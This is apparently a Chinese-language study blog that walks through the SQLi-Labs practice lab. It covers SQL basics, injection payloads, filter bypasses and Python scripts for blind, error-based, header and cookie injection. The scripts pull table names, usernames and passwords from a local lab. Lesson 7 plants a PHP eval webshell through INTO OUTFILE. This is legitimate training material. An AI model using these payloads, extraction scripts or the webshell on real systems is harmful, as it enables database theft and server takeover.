follow my dream

sqli-lab

字数统计: 9.5k阅读时长: 51 min
2020/02/25 Share

首行极力推荐且本文参考于sqli-labs 天📕

SQL注入概述

SQL是什么

SQL(Structured Query Language)即结构化查询语言,使用 SQL 编写应用程序可以完成数据库的管理工作。它的主要功能是同各种数据库建立联系进行沟通,任何程序,无论它用什么形式的高级语言,只要目的是向数据库管理系统发出命令来获得数据库管理系统的响应,最终都必须体现以SQL语句的指令。按照ANSI(美国国家标准协会)的规定,SQL 语句是和关系型数据系统进行交互的标准语言,但仍存在不同版本的SQL语句。
SQL 语句可以用来执行各种各样的操作,例如更新数据库中的数据从数据库中提取数据等。目前绝大多数流行的关系型数据库管理系统如 Oracle, Sybase, Microsoft SQL Server[4], Access 等都采用了 SQL 语言标准,虽然很多数据库都对 SQL 语句进行了再开发和扩展,但是包括 SELECT, INSERT, UPDATE, DELETE, CREATE, 以及 DROP 在内的标准的 SQL 命令仍然可以被用来完成几乎所有的数据库操作。

基本知识点

常见的命令

  • 登录 MySQL 在win
1
MySQL -uroot -proot
  • 创建一个数据库
1
create database sample;
  • 查看数据库
1
show databases;
  • 使用数据库
1
use sample;
  • 查看表格
1
show tables;
  • 创建表单
1
2
3
4
5
6
CREATE TABLE Customs(
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
firstname VARCHAR(30) NOT NULL,
lastname VARCHAR(30) NOT NULL,
email VARCHAR(50)
);
  • 在 Customs表中插入数据(还有其他方式插入数据)
1
2
3
INSERT INTO Customs (firstname, lastname, email) VALUES ('John', 'Doe', 'john@example.com');
INSERT INTO Customs (firstname, lastname, email) VALUES ('Mary', 'Moe', 'mary@example.com');
INSERT INTO Customs (firstname, lastname, email) VALUES ('Julie', 'Dooley', 'julie@example.com');
  • 查找
1
SELECT  id,firstname,lastname,email   FROM  Customs WHERE   id = 1;
  • 更新数据
1
UPDATE Customs  SET firstname = "Tom" , lastname = "Green" , email = "tom@example.com"  where id = 2 ;
  • 删除表格中的 数据 表 以及 数据库
1
2
3
DELETE FROM Customs WHERE id = 3;
DROP TABLE Customs;
DROP DATABASE sample;

系统函数

  • version() //系统函数

  • user() //数据库用户名

  • database() //数据库名

  • @@datadir //数据库路径

  • @@version_compile_os //操作系统版本

字符串连函数

  1. concat(str1,str2,…) //没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,….) //含有分割符
  3. group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’]))
    一般用来绕过
    这边还是推荐原文上的连接字符串连函数

union 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法

1
2
3
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

1
2
3
4
SQL UNION ALL 语法
SELECT column_name(s) FROM table1
UNION ALL
SELECT column_name(s) FROM table2;

注释:UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
from runoob

1
2
3
4
5
6
7
8
9
10
11
12
13
select country from websites union select country from apps;

--连接两个表的查询结果集,重复的不显示

select country from websites union all select country from apps order by country;

--连接俩个个表的查询结果集,显示重复

select country,name from websites where country = 'CN' union all

select country,app_name from apps where country='CN' order by name;

--通过where条件查询的结果,连接连个表的结果集,并根据名字排序。

万能密码与 sql中的逻辑运算

简单的讲,sql中 AND 的优先级 要高于OR

1
2
select * from emails where id = "1"; 
select * from emails where id = "1" or 1 = 1 and 1 = 2 ;
  • 解释:
    1 = 1 true , 1 = 2 false ,同时 AND 的优先级 要高于OR 相当于 (1 = 1 and 1 =2 ) = false
    select address from emails where (id = "1" or (false ) ) -> false ;
    而 万能密码则是 在sql 语句的最后添加 类似 ' or 1 = 1 --+这样强为 true,且后面的代码被注释掉而无法执行。
    例如
1
2
select id from  user where  id ='$id' LIMIT 0, 1;
select id from user where id ='$id' or 1 = 1 # LIMIT 0, 1;

注意 在mysql中注释符 为# --[空格] /**/ 同时 --+ 则是因为通过 GET方式传值的时候,+号会被浏览器处理为空。

limit

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

1
2
3
4
5
6
7
8
9
mysql> SELECT * FROM table LIMIT 5,10;  // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

数字型注入判断

  • 看报错
  • 1+1 是否等于 2 这类

待完善

隐式类型转换| 弱类型转换

https://www.cnblogs.com/rollenholt/p/5442825.html

基本注入流程

1
2
3
4
5
6
7
8
9
10
11
12
13
st=>start: Start
op=>operation: 查看数据库名
op1=>operation: 使用某数据库
op2=>operation: 查看表名
op3=>operation: 查看某表的列名或结构
op4=>operation: 执行操作
op5=>operation: 递归回去,依此检测错误
cond=>condition: 结果是否正确
e=>end

st->op->op1->op2->op3->op4->cond
cond(yes)->e
cond(no)->op5->e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查询数据库
show databases;
select schema_name from information_schema.schemata

#通过库名选择数据库
use database_name

#查看当前库里的表格
show tables;
select table_name from information_schema.tables where table_schema='database_name'

# 通过表名来查询表的结构
desc tablename;

# 查询某表的所有列
Select column_name from information_schema.columns where table_name='table_name'

#获取列中信息
select *** from ***

HPP -HTTP Parameter Pollution

web服务器 参数获取函数 获取的参数
PHP/APACHE $GET(‘V’) LAST
JSP/Tomcat Request.getParameter(“v”) First
Perl(CGI)/apache Param(“par”) First
Python/apache getvalue(“par”) ALL(first)
ASP/IIS Request.QueryString(“par”) ALL(comma-delimited string mf)

https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf

盲注

延时

报错

布尔

绕过

双写字符

or and

(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=|| xor =^

空格

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB(垂直)
%a0
/**/ 注释符
括号 select(user())from dual where(1=1)and(2=2)
/*!*/ 也可以在其中添加语句

其他

mysql常见绕过方法

堆叠注入

sql中,;为语句结束符.

1
Select * from products where productid=1;DELETE FROM products

order by 处的注入

1
$sql = "SELECT * FROM users ORDER BY $id";
Method usage
1 直接添加注入语句,?sort=(select **)
2 利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
3 利用 and,例如?sort=1 and (加 sql 语句)。

可以配合布尔、延时、报错


SQLI-Labs

basic

0x01

此题测试为主

可以尝试万能密码、union查找以及基本的注入流程

union

1
2
3
4
5
6
7
8
9
# 爆数据库
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata limit 1,10--+
#爆 security 数据库的数据表
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
#爆 users 表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
# 爆 id ,username ,password
?id=-1' union select group_concat(id) ,group_concat(username),group_concat(concat('pass','word')) from users --+

其中的-1是为了将前面的查询结果置空,而不用每次都要limit 1,10

0x7365637572697479security的16进制编码

注意password 列名 需要绕过,且数据只输出2,3列

1~4都可以尝试union查找,不再赘述

0x02

为数字型注入

只需将第一题中'去掉即可

判断方法:

?id=1*2?id=2反显一致

或根据?id=1'时的报错来判断

0x03

?id=1'的报错为'1'') LIMIT 0,1' at line 1

猜测:原型类似与id=('$id')

-1'改为-1') 重新进行闭合查询条件

0x04

使用?id=-1"会有报错信息near '' at line 1

为什么?id=1'?id=1)不会甚至?id=+1+)'这样的查询,也会执行正确。

是因为id为数字而传入值为字符串,在转换过程中涉及Mysql的隐式类型转换

类似于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select '1a2b3' = 1;
+-------------+
| '1a2b3' = 1 |
+-------------+
| 1 |
+-------------+
1 row in set, 1 warning (0.00 sec)

mysql> select 'a1b2c3' = 0;
+--------------+
| 'a1b2c3' = 0 |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)

此题做法还是将1的payload改为?id=-1") --+

0x05

第五题的话,有错误反显,但sql执行成功是只会显示you are in

三种盲注

  • 布尔注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# coding:utf-8
import requests


def database_len():
for i in range(1,10):
url = '''http://localhost/useful/sqlilabs/Less-5/index.php'''
payload = '''?id=1' and length(database())=%s''' % i
#print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print('length:',i)
else:
continue
database_len()


#获取数据库名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % (
j, i)
#print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('database_name:', name)


database_name()

# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('table_name:', name)


tables_name()


# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('column_name:', name)


columns_name()


# 获取username
def username_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(username) from users),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('username_value:', name)


username_value()


# 获取password
def password_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(password) from users),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i

#print(name)

break
print('password_value:', name)

password_value()
  • 报错注入
1
2
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
1
2
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))
--+
1
2
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--+
1
2
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),
NAME_CONST(version(),1))x --+

前辈讲的其他方法有些无法使用可能与版本有关

double 类型超过范围

1
2
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,
3--+

利用bigint 溢出进行报错注入

1
2
/?id=1' union select (!(select * from (select user())x) - ~0),2,3-
-+
  • 延时注入
1
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
1
2
3
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur
rent) as tb1--+

0x06

第五题与第六题区别在于第六题是将第五题和第4题结合一起的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# coding:utf-8
import requests


def database_len():
for i in range(1,10):
url = '''http://localhost/useful/sqlilabs/Less-6/index.php'''
payload = '''?id=1" and length(database())=%s''' % i
#print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print('length:',i)
else:
continue
database_len()


#获取数据库名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr(database(),%d,1)="%s"''' % (
j, i)
#print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('database_name:', name)


database_name()

# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('table_name:', name)


tables_name()


# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('column_name:', name)


columns_name()


# 获取username
def username_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1“ and substr((select group_concat(username) from users),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('username_value:', name)


username_value()


# 获取password
def password_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(password) from users),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i

#print(name)

break
print('password_value:', name)

password_value()

0x07

hint : outfile

尝试:

1
http://localhost/useful/sqlilabs/Less-7?id=1'))  --+

写入cmd.php

1
2
http://localhost/useful/sqlilabs/Less-7
?id=')) union select null,null,"<?php @eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\cmd.php" --+

or

1
2
http://localhost/useful/sqlilabs/Less-7
?id=')) union select null,null,1 into outfile "D:\\phpstudy_pro\\WWW\\2.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27636d64275d293f3e --+

用webshell工具

0x08

此题无法使用报错注入, //print_r(mysql_error());

思路延时盲注或布尔注入(与5,6题相似)

延时注入

1
http://localhost/useful/sqlilabs/Less-8/?id=1%27%20and%20%20if%20(length(database())=8%20,sleep(10),null);--+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import time
'''
https://docs.ioin.in/writeup/www.ch1st.cn/_/index.html
'''
url="http://localhost/useful/sqlilabs/Less-9/"
value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!0123456789"


length_database=0
def sql_len():
for i in range(1,12):
payload="?id=1'and if (length(database())=%d ,sleep(2),null);--+" %i
get_url = url + payload
starttime = time.time()
r = requests.get(get_url)
if time.time()-starttime>=1:
length_database = i
print ('%d: ' %i+ str(time.time()-starttime))
break

print("[+]数据库长度:"+str(length_database))
return length_database


def sql_data():
data=""
length=1+sql_len()
#print(length)
for i in range(1,length):
for j in value:
payload="?id=1' and if (mid(database(),%d,1)='%s' ,sleep(2),null);--+" %(i,j)
get_url = url + payload
#print(get_url)
starttime = time.time()
r = requests.get(get_url)
if time.time()-starttime>=1:
data=data+j
#print(data)
break
print("[+]数据库名:"+data)

sql_data()



0x09

还是延时注入

1
http://localhost/useful/sqlilabs/Less-9/?id=1'  and sleep(1) --+

可以使用8的脚本

0x10

基于时间-双引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!0123456789"
data=""

#来源:https://blog.csdn.net/vhkjhwbs/article/details/98960802

# 需要 不断 手工调整 url 和 url_length 中的 limit 的第一个参数 来获取下一行的数据
url = '''http://localhost/useful/sqlilabs/Less-10/?id=1" and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(3),NULL); %23'''
url_length='''http://localhost/useful/sqlilabs/Less-10/?id=1" and if((length(({0} limit 1,1))={1} ),sleep(3),NULL); %23'''
def get_length(payload):
for n in range(1,20):
url= url_length.format(payload,n)
#print(url)
if(get_respone(url)):
print("[+] length is {0}".format(n))
return n
def get_data(payload,value,length):
for n in range(1,length):
for v in value :
url_data = url.format(payload,n,ord(v)) #ord()返回字符的ASCII码
#print(url_data)
if(get_respone(url_data)):
global data
data=data+v
print("[+] data is {0}".format(data))
break
def get_respone(url):
try:
html = requests.get(url,timeout=2)
return False
except Exception as e:
print("......")
return True
#可以更改payload 来获取需要的数据
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)

0x11

Post

1
2
3
4
uname=admin' order by 2 --+&passwd=&submit=Submit
uname=admin' union select 1,database() limit 1,1--+&passwd=&submit=Submit
uname=admin' union select group_concat(schema_name),2 from information_schema.schemata limit 1,1--+&passwd=&submit=Submit

11~12 类似,只是闭合方式不同,可以直接输出查询值

0x12

1
uname=admin") --+&passwd=&submit=Submit

0x13

1
2
3
uname=admin')--+&passwd=&submit=Submit

uname=admin') and (extractvalue(1, concat(0x5c,(select version() ))));--+&passwd=&submit=Submit

13~14类似,也只是闭合方式不同。

0x14

1
uname=admin" --+&passwd=&submit=Submit

0x15

//print_r(mysql_error()); 关闭报错信息

可以使用fuzz的方式,如使用bp爆破或python爆破的方式猜测闭合方式。

如:

1
2
3
4
admin' and sleep(10) #
admin') and sleep(10) #
admin" and sleep(10) #
admin") and sleep(10) #

布尔注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""

def get_length(): #获取要查询的数据的长度
for n in range(1,100):
payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
data = {"uname":payload,"passwd":"admin"}
res = requests.post(url,data=data)
if 'flag.jpg' in res.text:
print("……data length is :" + str(n))
return n

def get_data(data_length): #获取数据
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
#print(payload)
data = {"uname":payload,"passwd":"admin"}
res = requests.post(url,data=data)
if 'flag.jpg' in res.text: #根据返回图片的不同来判断字符正确与否
result += char
#print("…… data is :"+ result)
break


url = "http://localhost/useful/sqlilabs/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"


length = get_length() +1
get_data(length)
print(result)


0x16

延时注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import time
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result=""

def get_length():#获取数据的长度
for n in range(1, 100):
payload = '''admin") and if((length(({0} ))={1}),sleep(4),1) #'''.format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time
if use_time > 3:
print("...... data's length is :"+ str(n))
return n

def get_data(length):#获取数据
global result
for n in range(1,length):
for v in value:
payload = '''admin") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #'''.format(data_payload,n,ord(v))
data = {"uname":payload,"passwd":"admin","submit":"submit"}
start_time = time.time()
requests.post(url,data=data)
end_time = time.time()
use_time = end_time - start_time
#
if use_time >4:
result += v
print("......"+result)



url = "http://localhost/useful/sqlilabs/Less-16/"

data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"

length = get_length() + 1
get_data(length)
print(".....data is :"+ result)

0x17

update table_name set column_name = ‘xxxx’ where key_word = ‘xxx’;

使用报错注入

1
2
3
4
5
uname=admin&passwd=1'  and extractvalue(0x0a,concat(0x0a,(select database()))) --+&submit=Submit

XPATH syntax error: ' security'


也可以延时和布尔注入

不使用username 的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15); //字符分割15个字节
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()) //PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。检验是否已经使用过addslashes()
{
$value = stripslashes($value);//函数删除由 addslashes() 函数添加的反斜杠。
}

// Quote if not a number
if (!ctype_digit($value))//主要功能是检测字符串中的字符是否都是数字,负数和小数会检测不通过。 注意,参数一定要是字符串,如果不是字符串,则会返回0/FASLE。
{
$value = "'" . mysql_real_escape_string($value) . "'"; //函数转义 SQL 语句中使用的字符串中的特殊字符。
}

else
{
$value = intval($value);//函数用于获取变量的整数值
}
return $value;
}

mysql_real_escape_string()

影响的字符串

  • \x00
  • \n
  • \r
  • \
  • \x1a

0x18

在18题中,username和password 都有checkin()函数过滤。

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

可以对http header进行报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding:utf-8
import requests
url = "http://localhost/useful/sqlilabs/Less-18/"
key = {'uname': "admin",'passwd':"admin"}
headers = {
"Host": "localhost",
"User-Agent": "'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1", ""
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "34",
"Referer": "http://localhost/sqli-labs-master/sqli-labs-master/Less-18/",
"Cookie": "Phpstorm-b508df8e=d3fe512f-f910-46f4-ac3f-7937af84827d",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}
res = requests.post(url,headers = headers,data=key)
print(res.text)

0x19

与18相似,注入点改为Referer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding:utf-8
import requests
url = "http://localhost/useful/sqlilabs/Less-19/"
key = {'uname': "admin",'passwd':"admin"}
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0", ""
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "34",
"Referer": "'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1",
"Cookie": "Phpstorm-b508df8e=d3fe512f-f910-46f4-ac3f-7937af84827d",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}
res = requests.post(url,headers = headers,data=key)
print(res.text)

0x20

Cookie Injection- Error Based

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding:utf-8
import requests
url = "http://localhost/useful/sqlilabs/Less-20/"
key = {'uname': "admin",'passwd':"admin"}
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0", ""
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "34",
"Cookie": "uname=admin'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}
res = requests.post(url,headers = headers,data=key)
print(res.text)

0x21

与20题相似

1
2
3
Cookie: uname=YWRtaW4=
base64
YWRtaW4= admin

只需要将20题的cookie base64编码。

1
2
3
4
5
6
7
Cookie: uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj
//admin1')and extractvalue(1,concat(0x7e,(select database()),0x7e))#

YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
//admin1')and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#


0x22

1
2
3
4
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

cookie payload

1
2
3
admin1" and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

YWRtaW4xIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

Advance

0x23

1
2
3
4
5
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

无法使用注释符

payload

1
http://localhost/useful/sqlilabs/Less-23/?id==-1' union select 1,2,'3

修改联合查找的第二列,可以继续查询数据库

1
2
3
4
5
6
7
http://localhost/useful/sqlilabs/Less-23/?id==-1' union select 1,(select group_concat(schema_name)from information_schema.schemata), '3

http://localhost/useful/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),'3

http://localhost/useful/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'user' and table_schema='mysql'),'2

http://localhost/useful/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(Host) from mysql.user),'2

0x24

二次注入

已有账号

1
2
3
4
5
6
7
mysql> select * from users where username like 'root%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | root | 12 |
+----+----------+----------+
1 row in set (0.00 sec)

注册账号

1
2
3
4
5
6
7
8
9
10
11
username = root'#
password = 1

mysql> select * from users where username like 'root%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | root | 12 |
| 28 | root'# | 1 |
+----+----------+----------+
2 rows in set (0.00 sec)

修改密码

1
2
3
4
5
6
7
8
9
10
11
old_passwd = 1
new_passwd = 123
rp_passwd = 123
mysql> select * from users where username like 'root%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | root | 123 |
| 28 | root'# | 1 |
+----+----------+----------+

0x25

源代码

1
2
3
4
5
6
7
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

payload

1
http://localhost/useful/sqlilabs/Less-25/?id=-1' || extractvalue(0x0a,concat(0x0a,(select database()))) --+

0x25a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
//echo 'YOU ARE IN ........';
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff>" font size= 3>';
}

无法报错注入,但可以联合查找、延时、布尔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

result = ""
